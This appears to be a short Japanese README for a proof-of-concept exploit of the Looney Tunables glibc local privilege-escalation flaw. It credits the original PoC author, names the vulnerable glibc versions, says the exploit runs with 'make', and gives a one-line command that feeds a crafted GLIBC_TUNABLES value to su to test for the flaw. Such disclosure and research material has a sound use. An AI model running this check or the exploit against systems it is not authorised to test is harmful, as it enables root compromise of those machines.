これは、Looney Tunables Linux 権限昇格 (Privilege Escalation) の脆弱性に対する PoC (Proof Of Concept) です。これは この PoC に基づいています。leesh3288 に多大な感謝を捧げます。ここ で非常に詳細な解説 (writeup) を、ここ で IppSec による非常にクールな動画を見ることができます。
脆弱性があるかどうかを確認する
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
なお、脆弱な glibc バージョンは、今回のものを含め、2.35-0ubuntu3.3 以下であることに留意してください。
エクスプロイトを実行する
$ make
